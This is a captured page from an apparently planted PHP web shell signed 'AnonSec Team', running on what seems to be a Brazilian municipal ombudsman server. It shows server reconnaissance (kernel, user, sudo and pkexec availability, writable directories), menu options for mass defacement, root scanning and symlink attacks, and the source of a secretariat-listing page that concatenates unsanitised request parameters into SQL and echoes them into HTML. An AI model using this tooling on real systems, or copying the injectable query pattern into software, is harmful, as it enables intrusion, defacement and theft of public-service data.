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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ouvidoria/obidos/restrito/sis_secretaria/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/ouvidoria/obidos/restrito/sis_secretaria/index.php
<?php


    include("../inc/autenticar.php");
    checkPerm("LSTSEC");

    include "../inc/topo.php";
    include("../inc/paginacaoPorPostIni.php");

    $filtro = "";
    if (($_REQUEST['acao'])) {
        $nome    = $_REQUEST["nome"];
        $sigla   = $_REQUEST["sigla"];
        $ativado = $_REQUEST["ativado"];

        if (!empty($nome)) $filtro .= " and s.nome like '%$nome%'";
        if (!empty($sigla)) $filtro .= " and s.sigla like '%$sigla%'";
        if (!empty($ativado)) $filtro .= " and s.ativado = $ativado";
    }

    $sql
            = "select * from sis_secretaria s
        where 1=1
        $filtro
        order by s.nome";


    $resultado = execQueryPag($sql);

    $num = mysql_num_rows($resultado);

?>
    <!DOCTYPE html>
    <html lang="pt-BR">
    <head>
        <title>Secretarias</title>
    </head>
    <div class="container-fluid">
        <div class="panel panel-info">
            <div class="panel-heading">
                <div class="panel-title">
                    <span style="font-size:20px;">&nbsp;Cadastro de secretaria</span>
                </div>
            </div>
        </div>
    </div>
    <div class="container-fluid">
        <form action="index.php" method="post" id="formulario" target="_self">
            <div class="col-xs-3">
                <label for="nome">Nome:</label>
                <div>
                    <input class="form-control" type="text" name="nome" id="nome" value="<?php echo $nome; ?>" size="30" maxlength="100"/>
                </div>
            </div>
            <div class="col-xs-3">
                <label for="sigla">Sigla:</label>

                <div>
                    <input class="form-control" type="text" name="sigla" id="sigla" value="<?php echo $sigla; ?>" size="20" maxlength="30"/>
                </div>
            </div>
            <div class="col-xs-3">
                <label for="ativado">Status:</label>
                <div>
                    <select class="form-control" name="ativado" id="ativado">
                        <option value="">--</option>
                        <option value="1" <?php echo ($ativado)=="1" ? "selected" : ""; ?>>Ativo</option>
                        <option value="0" <?php echo ($ativado)=="0" ? "selected" : ""; ?>>Inativo</option>
                    </select>
                </div>
            </div>
            <div>
                <label for="acao">Buscar</label>
                <div>
                    <input type="submit" class="btn btn-primary" value="Buscar" name="acao" id="acao"/>
                    <!--<input type="button" class="btn btn-primary" onClick="document.location = 'cadastro.php';" value="Adicionar">-->
                    <!--<input type="submit" class="btn btn-primary" value="Imprimir" name="imprimir"/>-->
                </div>
            </div>

            <br>
            <table class="table">
                <tr>
                    <th>Excluir</th>
                    <th>Codigo</th>
                    <th>Nome</th>
                    <th>Sigla</th>
                    <th>Centralizador</th>
                    <th>Status</th>
                </tr>
                <?php
                    $cor = false;
                    while ($registro = mysql_fetch_array($resultado)) {
                        $click = "editar('" . $registro["idsecretaria"] . "')";
                        if ($cor)
                            $corLinha = "#dddddd";
                        else
                            $corLinha = "#ffffff";
                        $cor = !$cor;

                        ?>

                        <tr onMouseOver="this.style.backgroundColor = getCorSelecao(true);" onMouseOut="this.style.backgroundColor = '<?php echo $corLinha; ?>';" style="background-color:<?php echo $corLinha; ?>;cursor:pointer; cursor:hand; ">
                            <td><img alt="escluir registro selecionado" src="../img/drop.png" title="Excluir Registro" onClick="apagar('<?php echo $registro["idsecretaria"]; ?>');"/></td>
                            <td onClick="<?php echo $click; ?>"><?php echo $registro["idsecretaria"]; ?></td>
                            <td onClick="<?php echo $click; ?>"><?php echo $registro["nome"]; ?></td>
                            <td onClick="<?php echo $click; ?>"><?php echo $registro["sigla"]; ?></td>
                            <td onClick="<?php echo $click; ?>"><?php echo ($registro["siccentral"]) ? "Sim" : "Não"; ?></td>
                            <td onClick="<?php echo $click; ?>"><?php echo ($registro["ativado"]) ? "Ativo" : "Inativo"; ?></td>
                        </tr>
                    <?php } ?>
                <tr>
                    <td align="right" colspan="6">
                        <?php include("../inc/paginacaoPorPostFim.php"); ?>
                    </td>
                <tr>
                    <td colspan="6" align="center">
                        <input type="button" class="btn btn-primary" onClick="document.location = 'cadastro.php';" value="Adicionar">
                        <input type="button" value="Voltar" class="btn btn-primary" name="voltar" id="voltar" onclick="location.href='../inc/menu.php'"/>
                    </td>
                </tr>
            </table>
        </form>
    </div>
<?php
    include "../inc/rodape.php";
?>

Anon7 - 2022
AnonSec Team